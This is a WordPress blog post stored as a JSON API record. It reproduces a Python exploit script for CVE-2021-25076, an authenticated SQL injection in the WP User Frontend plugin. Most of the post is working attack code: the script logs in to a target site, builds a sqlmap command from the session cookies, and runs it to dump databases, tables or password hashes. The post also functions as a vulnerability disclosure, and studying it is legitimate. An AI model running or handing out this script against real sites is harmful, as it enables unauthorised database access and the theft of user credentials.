{"id":20925,"date":"2022-02-22T09:31:45","date_gmt":"2022-02-22T06:31:45","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166071\/wpuserfrontend3525-sql.txt"},"modified":"2022-02-22T10:10:59","modified_gmt":"2022-02-22T06:40:59","slug":"wordpress-wp-user-frontend-3-5-25-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-wp-user-frontend-3-5-25-sql-injection\/","title":{"rendered":"CVE-2021-25076 WordPress WP User Frontend 3.5.25 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\" style=\"text-align: left;\"># Exploit Title: WordPress Plugin WP User Frontend 3.5.25 &#8211; SQLi (Authenticated)<br \/>\n# Date 20.02.2022<br \/>\n# Exploit Author: Ron Jost (Hacker5preme)<br \/>\n# Vendor Homepage: https:\/\/wedevs.com\/<br \/>\n# Software Link: https:\/\/downloads.wordpress.org\/plugin\/wp-user-frontend.3.5.25.zip<br \/>\n# Version: &lt; 3.5.25<br \/>\n# Tested on: Ubuntu 20.04<br \/>\n# CVE: CVE-2021-25076<br \/>\n# CWE: CWE-89<br \/>\n# Documentation: https:\/\/github.com\/Hacker5preme\/Exploits\/blob\/main\/Wordpress\/CVE-2021-25076\/README.md<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">&#8221;&#8217;<br \/>\nDescription:<br \/>\nThe WP User Frontend WordPress plugin before 3.5.26 does not validate and escape the status parameter<br \/>\nbefore using it in a SQL statement in the Subscribers dashboard, leading to an SQL injection.<br \/>\nDue to the lack of sanitisation and escaping, this could also lead to Reflected Cross-Site Scripting<br \/>\n&#8221;&#8217;<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">banner = &#8221;&#8217;<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">_|_|_| _| _| _|_|_|_| _|_| _| _|_| _| _|_| _|_|_|_| _| _|_|_|_|_| _|_|_|<br \/>\n_| _| _| _| _| _| _| _| _| _| _|_| _| _| _| _| _| _| _|<br \/>\n_| _| _| _|_|_| _|_|_|_|_| _| _| _| _| _| _|_|_|_|_| _| _|_|_| _| _| _| _|_|_|<br \/>\n_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|<br \/>\n_|_|_| _| _|_|_|_| _|_|_|_| _| _|_|_|_| _| _|_|_|_| _|_|_| _| _| _|_|<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">[+] WP User Frontend &#8211; SQL Injection<br \/>\n[@] Developed by Ron Jost (Hacker5preme)<br \/>\n&#8221;&#8217;<br \/>\nprint(banner)<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">import argparse<br \/>\nfrom datetime import datetime<br \/>\nimport os<br \/>\nimport requests<br \/>\nimport json<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\"># User-Input:<br \/>\nmy_parser = argparse.ArgumentParser(description= &#8216;WP User Frontend &#8211; SQL-Injection (Authenticated)&#8217;)<br \/>\nmy_parser.add_argument(&#8216;-T&#8217;, &#8216;&#8211;IP&#8217;, type=str)<br \/>\nmy_parser.add_argument(&#8216;-P&#8217;, &#8216;&#8211;PORT&#8217;, type=str)<br \/>\nmy_parser.add_argument(&#8216;-U&#8217;, &#8216;&#8211;PATH&#8217;, type=str)<br \/>\nmy_parser.add_argument(&#8216;-u&#8217;, &#8216;&#8211;USERNAME&#8217;, type=str)<br \/>\nmy_parser.add_argument(&#8216;-p&#8217;, &#8216;&#8211;PASSWORD&#8217;, type=str)<br \/>\nargs = my_parser.parse_args()<br \/>\ntarget_ip = args.IP<br \/>\ntarget_port = args.PORT<br \/>\nwp_path = args.PATH<br \/>\nusername = args.USERNAME<br \/>\npassword = args.PASSWORD<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">print(&#8216;[*] Starting Exploit at: &#8216; + str(datetime.now().strftime(&#8216;%H:%M:%S&#8217;)))<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\"># Authentication:<br \/>\nsession = requests.Session()<br \/>\nauth_url = &#8216;http:\/\/&#8217; + target_ip + &#8216;:&#8217; + target_port + wp_path + &#8216;wp-login.php&#8217;<br \/>\ncheck = session.get(auth_url)<br \/>\n# Header:<br \/>\nheader = {<br \/>\n&#8216;Host&#8217;: target_ip,<br \/>\n&#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko\/20100101 Firefox\/89.0&#8217;,<br \/>\n&#8216;Accept&#8217;: &#8216;text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8&#8217;,<br \/>\n&#8216;Accept-Language&#8217;: &#8216;de,en-US;q=0.7,en;q=0.3&#8217;,<br \/>\n&#8216;Accept-Encoding&#8217;: &#8216;gzip, deflate&#8217;,<br \/>\n&#8216;Content-Type&#8217;: &#8216;application\/x-www-form-urlencoded&#8217;,<br \/>\n&#8216;Origin&#8217;: &#8216;http:\/\/&#8217; + target_ip,<br \/>\n&#8216;Connection&#8217;: &#8216;close&#8217;,<br \/>\n&#8216;Upgrade-Insecure-Requests&#8217;: &#8216;1&#8217;<br \/>\n}<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\"># Body:<br \/>\nbody = {<br \/>\n&#8216;log&#8217;: username,<br \/>\n&#8216;pwd&#8217;: password,<br \/>\n&#8216;wp-submit&#8217;: &#8216;Log In&#8217;,<br \/>\n&#8216;testcookie&#8217;: &#8216;1&#8217;<br \/>\n}<br \/>\nauth = session.post(auth_url, headers=header, data=body)<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\"># SQL-Injection (Exploit):<br \/>\n# Generate payload for sqlmap<br \/>\ncookies_session = session.cookies.get_dict()<br \/>\ncookie = json.dumps(cookies_session)<br \/>\ncookie = cookie.replace(&#8216;&#8221;}&#8217;,&#8221;)<br \/>\ncookie = cookie.replace(&#8216;{&#8220;&#8216;, &#8221;)<br \/>\ncookie = cookie.replace(&#8216;&#8221;&#8216;, &#8221;)<br \/>\ncookie = cookie.replace(&#8221; &#8220;, &#8221;)<br \/>\ncookie = cookie.replace(&#8220;:&#8221;, &#8216;=&#8217;)<br \/>\ncookie = cookie.replace(&#8216;,&#8217;, &#8216;; &#8216;)<br \/>\nprint(&#8216;[*] Payload for SQL-Injection:&#8217;)<br \/>\nexploitcode_url = r&#8217;sqlmap -u &#8220;http:\/\/&#8217; + target_ip + &#8216;:&#8217; + target_port + wp_path + r&#8217;wp-admin\/admin.php?page=wpuf_subscribers&amp;post_ID=1&amp;status=1&#8243; &#8216;<br \/>\nexploitcode_risk = &#8216;&#8211;level 2 &#8211;risk 2 &#8216;<br \/>\nexploitcode_cookie = &#8216;&#8211;cookie=&#8221;&#8216; + cookie + &#8216;&#8221; &#8216;<br \/>\nprint(&#8216; Sqlmap options:&#8217;)<br \/>\nprint(&#8216; -a, &#8211;all Retrieve everything&#8217;)<br \/>\nprint(&#8216; -b, &#8211;banner Retrieve DBMS banner&#8217;)<br \/>\nprint(&#8216; &#8211;current-user Retrieve DBMS current user&#8217;)<br \/>\nprint(&#8216; &#8211;current-db Retrieve DBMS current database&#8217;)<br \/>\nprint(&#8216; &#8211;passwords Enumerate DBMS users password hashes&#8217;)<br \/>\nprint(&#8216; &#8211;tables Enumerate DBMS database tables&#8217;)<br \/>\nprint(&#8216; &#8211;columns Enumerate DBMS database table column&#8217;)<br \/>\nprint(&#8216; &#8211;schema Enumerate DBMS schema&#8217;)<br \/>\nprint(&#8216; &#8211;dump Dump DBMS database table entries&#8217;)<br \/>\nprint(&#8216; &#8211;dump-all Dump all DBMS databases tables entries&#8217;)<br \/>\nretrieve_mode = input(&#8216;Which sqlmap option should be used to retrieve your information? &#8216;)<br \/>\nexploitcode = exploitcode_url + exploitcode_risk + exploitcode_cookie + retrieve_mode + &#8216; -p status -v 0 &#8211;answers=&#8221;follow=Y&#8221; &#8211;batch&#8217;<br \/>\nos.system(exploitcode)<br \/>\nprint(&#8216;Exploit finished at: &#8216; + str(datetime.now().strftime(&#8216;%H:%M:%S&#8217;)))<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: WordPress Plugin WP User Frontend 3.5.25 &#8211; SQLi (Authenticated) # Date 20.02.2022 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: https:\/\/wedevs.com\/ # Software Link: https:\/\/downloads.wordpress.org\/plugin\/wp-user-frontend.3.5.25.zip # Version: &lt; 3.5.25 # Tested on: Ubuntu 20.04 # CVE: CVE-2021-25076 # CWE: CWE-89 # Documentation: https:\/\/github.com\/Hacker5preme\/Exploits\/blob\/main\/Wordpress\/CVE-2021-25076\/README.md &#8221;&#8217; Description: The WP User Frontend WordPress plugin &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-20925","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/20925","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=20925"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/20925\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=20925"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=20925"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=20925"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}